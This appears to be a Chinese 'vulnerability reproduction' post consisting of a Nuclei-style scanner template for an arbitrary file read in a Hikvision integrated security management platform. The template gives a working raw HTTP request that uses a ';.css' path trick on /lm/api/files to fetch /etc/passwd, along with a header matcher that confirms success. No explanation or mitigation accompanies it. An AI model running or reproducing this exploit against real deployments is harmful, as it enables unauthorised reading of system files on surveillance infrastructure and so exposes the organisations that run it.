「漏洞复现」海康威视-综合安防管理平台-files-文件读取

id: hikvision-files-fileread

info:  name: 海康威视-综合安防管理平台-files-文件读取  author: hikvision-files-fileread  severity: high

requests:  - raw:      - |        GET /lm/api/files;.css?link=/etc/passwd HTTP/1.1        Host: {{Hostname}}        Connection: close        Cache-Control: max-age=0        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    matchers:      - type: dsl        dsl:          - contains_all(all_headers,'attachment','fileName')